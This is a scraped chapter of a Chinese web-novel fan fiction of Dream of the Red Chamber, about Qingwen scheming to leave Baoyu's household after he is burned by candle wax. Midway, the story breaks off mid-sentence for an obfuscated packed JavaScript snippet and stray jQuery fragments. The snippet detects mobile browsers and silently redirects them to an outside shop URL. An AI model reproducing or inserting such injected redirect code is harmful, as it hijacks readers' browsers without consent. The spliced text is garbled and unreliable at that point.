文趣网 > 都市小说 > 【红楼】不争宝玉后,她成了状元夫人 > 4. 宝玉受伤,贾环哭诉
    老太太这边的心思,众人自然不知,只是宝玉自病好了就觉得怡红院里多了许多眼睛。

    “晴雯,晴雯,你快来呀,宝玉出事了!”

    这会子正是晌午,袭人陪着宝玉才出去了一个时辰,就听见袭人慌张的喊她。

    尤其是听见出事了三个字,晴雯这心里就一阵烦躁。

    只觉得宝玉是个麻烦精。

    这才惊吓好了几天,就又闹出事端!

    烦躁的放下手里刚起了头的针线活,晴雯跺了跺脚,起身后又朝屋里喊了麝月秋纹两个。

    “晴雯姐姐,叫我们什么事?”

    怡红院里向来没规矩可言。

    就拿今日来说,秋纹当值午睡,偏偏宝玉带着袭人出去了,她竟拉着麝月两个在屋里篦头发。

    “你们没听见?外头似乎有人在喊呢,好像在说宝玉,咱们赶紧出去看看。”

    晴雯见秋纹头发还乱着,不由翻个白眼,推了她一把,才说道。

    “好像是袭人姐姐的声音,咱们快去。”

    麝月是个心细的,也算守规矩,虽也和院子里的丫头们玩闹,但还记着自己身份,是以被晴雯叫出来,也不见有什么情绪。

    刚巧又听到远处真有声音,率先一步跑了出去。

    等三人终于找到袭人,就见宝玉脸上多了个被烫伤的燎泡。

    晴雯打眼估摸着,得有铜钱大小,也就是贾宝玉脸大,显得不那么厉害,若是换成旁人,只怕半张脸都得让燎泡盖住。

    “哎哟,天爷呀,这可是怎么弄的?袭人姐姐,这要是让人知道了,怕不是咱们这些人都得被拉出去卖了……”

    秋纹胆小,怕的浑身发抖。

    主要是这院子里才经历了一场王夫人的审问,眼下又闹这么一出,且宝玉伤在脸上,又厉害的很。

    “怕什么?这事就是在太太院子里出的,这会太太已经拿了那脏心烂肺的混账,去了老太太跟前,回头便是鸳鸯姐姐来了,只管我去应付,你们照顾好宝玉就行。”

    让秋纹这么一抖,袭人心里的烦躁彻底爆出来。

    她怎么也没想到,一个转身的功夫,宝玉就借着看佛经的话头,摸到了彩云的身上,还说着什么姐姐妹妹,心肝蜜饯之类的混帐话。

    那彩云是什么人!

    那是他老子娘屋里的,这要是传扬出去,宝玉的名声还要不要了?

    幸好屋里还有个贾环,且是个手黑的。

    袭人进去的时候,正听见宝玉那句“若是得了你,便是让我空了怡红院也是甘心了”,一下子心凉下去。

    正好又瞥见贾环注意到了宝玉和彩云的动静,黑乎乎的眼睛紧紧盯着,似有不满。

    袭人见状,索性来一招借刀杀人,路过贾环的时候不小心碰倒了旁边放着的煤油灯,贾环下意识的去扶,不想彩云慌乱之下把宝玉推倒了。

    就这么的,蜡油滴在脸上,宝玉当时就疼的就地打滚,滋哇乱叫。

    贾环被惊吓到了,傻愣愣的站着。

    袭人掐了吧手心,和彩云对视一眼。

    “你也不想今日的事让太太知道了吧?就太太的心性,你比我了解,眼下这事该怎么说,你也好好想想。”

    袭人气势惊人,彩云又是个软弱没主意的,想要追问她什么意思,却见袭人已经扶起宝玉往外走了。

    如此,之后的事情袭人虽没亲耳听见彩云到底怎么说的,但心里多少有数。

    经过袭人遮遮掩掩的说完,晴雯也想起来了贾宝玉的这一遭是怎么回事。

    虽说贾环动手确实有错,但先撩者贱,谁让贾宝玉管不住手脚?

    不过,这事情若是运作的当,说不定正是她离开怡红院的好机会,还能顺便得个好名声。

    “袭人姐姐,你这说的什么话?咱们都是一个院子里伺候的,亲如姐妹,这么大的事,怎么能让你一个人去?好歹我也是老太太身边出来的。”

    晴雯一把拉住袭人的手,说的情真意切。

    “况且,按理说咱俩都是一等丫头,如今宝玉出了事,我怎么能只让你一个人出去受罚?”

    “再者,宝玉这还有麝月秋纹两个,他们都是你一手教出来的,想来留下照顾宝玉也出不了错。”

    晴雯说完,还看了麝月和秋纹,就见这两人脸上露出一抹笑意和感动,心思一动,也就明白了这俩人的心思。

    “哎,你都这么说了,我还能再拒绝你?只有一点,你这双手金贵,就算是受罚,有我一个就够了。”

    袭人可不愿意让晴雯抢走了她的贤名,赶紧说道。

    “是,我的好姐姐,到时候都听你的,放心吧。”

    晴雯好姐妹似的拍了拍袭人的手。

    她当然知道她的手金贵,她还想着出了怡红院之后,靠这双手挣钱赎身出去呢!

    到时候立个女户,做点小买卖,自己做自己的主人,那才是人过的日子!

    时间一点一点过去,袭人所料不差,宝玉这事不仅捅到了老太太跟前,更让前院的家政知道了。

    如此贾环的境地倒是不妙起来。

    贾环不过一个庶子,将来想要挣一份前程,前期还要指着贾政安排,可不能真的让贾政厌弃了他。

    刚好,这时候鸳鸯来了,晴雯抹了把手上的药膏,起身跟在袭人后面去了荣庆堂。

    堂内,老太太,王夫人和贾政,王熙凤都在,甚至还有看热闹的邢夫人和贾赦。

    大堂中间,贾环跪在地上,垂着头,但从侧面,晴雯看到他的脸肿了,想来是受了刑。

    旁边的赵姨娘哭的狼狈,妆都化了,嘴被堵着,说不出一个字。

    “说说吧,到底怎么回事。”

    晴雯和袭人刚进门,还没蹲下行礼,就被老太太一扬手制止了。

    “回老太太话,今个晌午不是那么热,宝二爷就想着去太太院里和太太说说话,原本都好好的,可后来不知道怎么的,环三爷桌上的蜡烛突然翻了,刚好落到了宝二爷的脸上,奴婢见了不敢耽误,赶紧带宝二爷回了怡红院,请了大夫。”

    袭人这话说得有意思,什么叫突然翻了?什么叫刚好落到宝玉脸上?

    老太太和王夫人听了这话,脸色顿时阴沉下来。

    晴雯心道不好。

    眼珠转了转,瞥见贾赦嘴角那一点点的笑,思量一会就主动跪了下来。

    “老太太,奴

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643537|206740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婢有话说。”

    眼看着事都审完了,突然又生枝节,王夫人盯着晴雯的眼神已经是看死人的眼神了。

    “有什么话你就说。”

    反倒是坐在上头的老太太,看向晴雯的眼神平和许多。

    “回老太太,太太,老爷,大太太,大老爷,二奶奶,奴婢今日并未跟在宝二爷身边伺候,所以关于这事的细节,奴婢并无话说。”

    “只是奴婢觉得,宝二爷受伤,说到底还是伺候的丫头不够,若是当时屋里人多手快些,便是意外闹出事故,也不能伤了宝二爷。”

    晴雯说话的时候,心里一直打鼓,唯恐让这群心眼多的看出她的真实意图。

    不过好在,她一个丫头,就算在场的主子们察觉到她这话不妥当,却也不会往深了想。

    倒是被堵着的赵姨娘,听了这话,哼哼唧唧的又开始折腾挣扎起来。

    “二弟,弟妹,这赵氏好歹为你生儿育女,咱们这样的人家讲究体面,堵人嘴像什么样?来个人,替赵氏拿了口封,让她说。”

    大老爷贾赦好似才注意到旁边还有个人,惊的身子都歪了一下,撑着椅子扶手,阴阳怪气道。

    “可不是,弟妹,你是王家出来的,最懂体面,就是真容不下这赵氏,那也得回了自个院子,关起门来处置。”

    从来都不被这府里人接纳的邢夫人在贾赦说完,立马接上话茬。

    王夫人气的脸都变形了,两只眼睛通红一片。

    她竟然让这么个玩意儿看她笑话!

    偏偏旁边的贾政却好似把这话听进了心里,竟坐在旁边无动于衷,只一个劲的盯着狼狈不堪的赵氏。

    “大哥,你就这么放任嫂子这般污蔑我?”

    王夫人忍无可忍,猛的甩动手帕,站起来盯着贾赦问道。

    对此,贾赦只是微微耸肩。

    “你也知道你这嫂子出身不高,见识少,跟她一般见识什么?”

    换言之,这么着急莫不是被说中了恼羞成怒?

    听懂了贾赦话里意思的王夫人气的捂着胸口,坐回椅子上呼哧呼哧的喘气。

    底下刚得到解放的赵姨娘眼珠子滴溜溜乱转,最后竟是隐晦的瞥了一眼旁边屈膝行礼的晴雯。

    “老太太,太太,老爷,大太太,大老爷,奴婢知道,奴婢的身份本没有说话的资格,只是事情涉及环儿,奴婢不得不多两句。”

    “宝玉伤了,奴婢这心里也不好受,那么漂亮懂事的孩子,偏偏伤在脸上,若有个万一,将来可怎么办?”

    “环儿还小,平时又养在奴婢这等见识浅薄的人身边,将来还指着向宝玉学点规矩礼数,不求光宗耀祖的做一份事业,但求别丢了国公府老爷的脸面。”

    赵姨娘一张嘴平日里全是撒泼打滚的市井话,却没想到被堵了会嘴,反倒是开窍了一样,字字句句都大方得体。

    她这样的变化,贾政下意识的看过去,映入眼帘的却是一张充满慈爱又梨花带雨的风流娇媚。

    藏在袖子里的手指微动,贾政想到的却是这些年里他每次去了赵氏房中过夜,隔日王氏必定令赵氏去小佛堂捡佛豆。

    如今想来,大嫂说的莫不是真的?